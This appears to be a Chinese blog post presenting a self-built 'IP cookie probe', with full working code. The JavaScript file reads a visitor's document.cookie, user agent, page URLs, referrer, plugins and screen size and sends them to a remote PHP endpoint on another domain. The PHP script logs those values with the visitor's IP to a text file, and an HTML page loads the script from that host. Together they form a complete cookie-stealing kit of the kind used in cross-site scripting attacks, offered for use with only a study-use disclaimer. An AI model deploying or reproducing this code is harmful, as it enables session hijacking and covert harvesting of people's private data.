IPcookie探测自我搭建写法与代码


index.html调用demo

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>demo</title>
    <script type="text/javascript" src="https://www.xladmin.com/xxxxxx/probe.js"></script>
</head>
<body>
<!-- <script type="text/javascript">
    var server = "http://localhost/probe.php?data=",client = {};
    client.browser = function(){
        var ua = navigator.userAgent.toLowerCase();
        var rwebkit = /(webkit)[ \/]([\w.]+)/;
        var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/;
        var rmsie = /(msie) ([\w.]+)/;
        var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/;

        var match = rwebkit.exec(ua) ||
                    ropera.exec(ua) ||
                    rmsie.exec(ua) ||
                    ua.indexOf("compatible") < 0 && rmozilla.exec(ua) ||
                    [];
        var result = "";
        if(match[1])
            result += "name:"+match[1];
        else
            result += "";
        if(match[2])
            result += ",version:"+match[2];
        else
            result += "0";
        return result;
    }();
    client.ua = navigator.userAgent;
    client.lang = navigator.language;
    client.referrer = document.referrer;
    client.location = location.href;
    client.toplocation = top.location.href;
    client.cookie = document.cookie;
    client.domain = document.domain;
    client.title = document.title;
    client.screen = "height:"+screen.height+",width:"+screen.width;
    client.plugins = function(){
        var p = [];
        var len = navigator.plugins.length;
        for(var i = 0;i<len;i++){
            p.push(navigator.plugins[i].name);
        }
        return p;
    }();
    console.log(JSON.stringify(client));


    server += encodeURIComponent(JSON.stringify(client));
    if(window.XMLHttpRequest){
        var xhr = new XMLHttpRequest();
    }else{
        var xhr = new ActiveObject("Microsoft.XMLHTTP");
    }
    xhr.onreadystatechange = function(){
        if(xhr.readystate == 4){
            // if(xhr.status >= 200 && xhr.status < 300){
            //     alert("Sucess");
            // }else{
            //     alert("Error");
            // }
            // alert("success");
        }
    }
    xhr.open("get",server);
    xhr.send(null);
    // var a = document.createElement('a');
    // a.href = server;
    // document.getElementsByTagName('body')[0].appendChild(a);
</script> -->
</body>
</html>

建立js代码:probe.js

var server = "https://www.xladmin.com/xxxxxx/probe.php?data=",client = {};
client.browser = function(){
    //获取浏览器信息
    var ua = navigator.userAgent.toLowerCase();
    var rwebkit = /(webkit)[ \/]([\w.]+)/;
    var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/;
    var rmsie = /(msie) ([\w.]+)/;
    var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/;

    var match = rwebkit.exec(ua) ||
                ropera.exec(ua) ||
                rmsie.exec(ua) ||
                ua.indexOf("compatible") < 0 && rmozilla.exec(ua) ||
                [];
    var result = "";
    if(match[1])
        result += "name:"+match[1];
    else
        result += "";
    if(match[2])
        result += ",version:"+match[2];
    else
        result += "0";
    return result;
}();
client.ua = navigator.userAgent;
client.lang = navigator.language;
client.referrer = document.referrer;
client.location = location.href;
client.toplocation = top.location.href;
client.cookie = document.cookie;
client.domain = document.domain;
client.title = document.title;
client.screen = "height:"+screen.height+",width:"+screen.width;

client.plugins = function(){
    //获取插件信息
    var p = [];
    var len = navigator.plugins.length;
    for(var i = 0;i<len;i++){
        p.push(navigator.plugins[i].name);
    }
    return p;
}();

//console.log(JSON.stringify(client));


server += encodeURIComponent(JSON.stringify(client));
//ajax发送数据
if(window.XMLHttpRequest){
    var xhr = new XMLHttpRequest();
}else{
    var xhr = new ActiveObject("Microsoft.XMLHTTP");
}
xhr.onreadystatechange = function(){
    if(xhr.readystate == 4){
        // if(xhr.status >= 200 && xhr.status < 300){
        //     alert("Sucess");
        // }else{
        //     alert("Error");
        // }
        // alert("success");
    }
}
xhr.open("get",server);
xhr.send(null);

建立创建代码:probe.php

<?php 
$data = $_GET['data'];
$data = json_decode($data);
function write($file,$data){
    //将客户端JSON数据按照一定格式写入data.txt
    foreach($data as $key=>$value){
        if(is_array($value)){
            fwrite($file,$key."\r\n");
            write($file,$value);
        }else{
            fwrite($file,$key." : ".$value."\r\n");            
        }
    }
}
function get_real_ip(){
    //获取真实ip
    $ip = false;
    if(!empty($_SERVER['HTTP_CLIENT_IP'])){
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }
    if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
        $ips = explode(", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
        if($ip){
            array_unshift($ips,$ip);
            $ip = FALSE;
        }
        for($i = 0; $i < count($ips); $i++){
            if(!eregi("^(10|172\.16|192\.168)\.",$ips[$i])){
                $ip = $ips[$i];
                break;
            }
        }
    }
    return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
function get_referer(){
    //获取referer
    return $_SERVER['HTTP_REFERER'];
}

$file = fopen("data.txt","a+");
fwrite($file,"ip:".get_real_ip()."\r\n");
fwrite($file,"time:".date("Y-m-d H:i:s")."\r\n");
fwrite($file,"referer1:".get_referer()."\r\n");
write($file,$data);

fclose($file);
?>

用户点击js后获取信息在同一目录data.txt中

声明:GhostKylin‘S BLOG|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - IPcookie探测自我搭建写法与代码


你好!世界!XladminShell箱子仅供个人学习使用务必遵守《网络安全法》